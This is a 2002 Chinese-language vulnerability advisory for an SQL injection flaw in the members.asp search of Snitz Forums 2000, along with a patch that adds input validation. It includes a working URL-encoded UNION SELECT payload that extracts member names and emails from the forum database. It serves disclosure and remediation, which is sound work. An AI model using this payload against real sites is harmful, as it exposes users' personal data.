Snitz Forums 2000存在远程SQL查询可操作漏洞发布时间:2002-04-20 更新时间:2002-04-20 严重程度:高 威胁程度:用户敏感信息泄露 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Snitz Forums 2000详细描述 Snitz Forums 2000是开放源代码ASP论坛程序。 其中村子漏洞可以导致远程用户任意操作SQL查询,导致攻击者查看数据库数据。members.asp 会列出成员信息,input(M_NAME)没有检查恶意代码内容,可以导致攻击者使用额外的SELECT语句并结合UNION来查看用户数据信息。 测试代码 一般查看以A开头的用户名请求如下: /members.asp?mode=search&M_NAME=A&initial=1&method= 使用如下来利用此漏洞: /members.asp?mode=search&M_NAME=XXXX% 25')%20UNION%20SELECT%20MEMBER_ID,% 20M_STATUS,%20M_NAME%20%2B%20'/'%20% 2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,% 20M_EMAIL,%20M_COUNTRY,% 20M_HOMEPAGE,%20M_ICQ,%20M_YAHOO,% 20M_AIM,%20M_TITLE,%20M_POSTS,% 20M_LASTPOSTDATE,%20M_LASTHEREDATE,% 20M_DATE,%20M_STATE%20FROM% 20FORUM_MEMBERS%20WHERE%20(M_NAME% 20LIKE%20'&initial=1&method= 解决方案 在members.asp中使用: if IsValidString(Request("M_NAME")) then SearchName = Request("M_NAME") end if if SearchName = "" then if IsValidString(Request.Form("M_NAME")) then SearchName = Request.Form("M_NAME") end if end if 来代替: SearchName = Request("M_NAME") if SearchName = "" then SearchName = Request.Form("M_NAME") end if 并在inc_functions.asp中的IsValidString(sValidate)函数使用: sInvalidChars = "!#$%^&*()=+{}[]|\;:/?>,<'" 来代替: sInvalidChars = "!#$%^&*()=+{}[]|\;:/?>,<" 相关信息 acemi (acemi_5@yahoo.com) 参考:http://archives.neohapsis.com/archives/bugtraq/2002-04/0279.html 相关主页:http://forum.snitz.com/ |